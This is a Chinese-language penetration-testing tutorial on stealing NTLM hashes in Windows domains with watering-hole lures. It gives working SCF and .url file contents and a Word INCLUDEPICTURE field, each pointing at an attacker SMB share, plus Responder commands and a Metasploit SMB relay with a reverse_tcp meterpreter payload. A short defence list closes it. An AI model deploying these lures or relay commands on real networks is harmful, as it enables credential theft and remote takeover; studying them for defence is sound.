浅谈域环境下布置水坑实现hash窃取
字数 1401 2025-08-05 08:19:51
域环境下利用水坑攻击窃取NTLM Hash的详细技术指南
前言
在内网渗透过程中,当无法找到横向移动或跨域的机器时,水坑攻击成为获取Hash的有效手段。本文详细讲解在域环境下布置水坑实现Hash窃取的技术原理和多种实现方法。
基础知识
本地认证机制
Windows中的密码Hash称为NTLM Hash,NTLM网络认证协议以NTLM Hash作为根本凭证进行认证。本地认证过程如下:
- 用户输入密码(如"admin")
- 转换为十六进制:
61646d696e - 进行Unicode转换:
610064006d0069006e00 - 调用MD4加密算法:
209c6174da490caeb422f3fa5a7ae634
认证流程:
winlogon.exe → 接收用户输入 → lsass.exe → (认证)
Hash传递与窃取原理
Hash传递的条件:
- 抓取到Net-NTLM hash字段
- 或获取hash对应的用户名
Hash存储位置:
- SAM数据库
- Lsass进程
- 网络传输过程
重要区别:
- Net-NTLM hash ≠ NTLM hash
- Net-NTLM hash是客户端第二次发送给服务端的response字段
水坑攻击方法
1. SCF文件攻击
SCF文件:Windows Explorer Command文件,可执行有限操作(如显示桌面或打开资源管理器)。
UNC路径:通用命名规则,格式为\\server\share
攻击步骤:
- 创建SCF文件:
[Shell]
Command=2
IconFile=\\192.168.10.11\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
-
将SCF文件设置为共享
-
使用Responder监听:
responder -I eth0
特点:无需用户点击,只需访问即可触发认证。
2. SMB中继攻击
结合SCF攻击与SMB中继技术(CVE-2020-0796等)。
NTLM v2认证流程:
- 客户端发送登录请求(密码hash一次)
- 发送用户名
- 服务器返回16字节Challenge
- 客户端用密码hash加密Challenge生成Response
- 发送Response
- 服务器验证
攻击实现:
使用Metasploit模块:
use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.11
run
3. 超链接攻击
创建指向不存在资源的超链接:
\\192.168.10.11\qwe.exe
监听:
responder -I eth0
4. URL文件攻击
创建.url文件:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\192.168.10.11\qwe.icon
IconIndex=1
缺点:会触发UAC提示,较容易被发现。
5. RTF文件攻击
RTF(富文本格式)文件可包含远程资源引用。
创建.rtf文件包含远程引用(需Word打开)。
6. IncludePicture攻击
利用Word的IncludePicture功能:
- 按Ctrl+F9插入域代码
- 添加不存在地址:
{ INCLUDEPICTURE "\\\\192.168.10.11\\qwe" } - 保存为XML文件并诱使目标打开
工具使用
Responder
功能:
- 监听LLMNR和NetBIOS请求
- 内置多种认证服务器(SMB、MSSQL、HTTP等)
- 收集明文凭据
- Multi-Relay功能执行命令
基本用法:
responder -I eth0
防御措施
- 禁用LLMNR和NetBIOS
- 启用SMB签名
- 限制NTLM使用
- 监控异常网络认证
- 用户安全意识培训
总结
本文详细介绍了六种在域环境下窃取NTLM Hash的水坑攻击技术,从基本原理到具体实现步骤,涵盖了SCF文件、SMB中继、超链接、URL文件、RTF文件和IncludePicture等多种方法。理解这些技术有助于蓝队更好地防御此类攻击。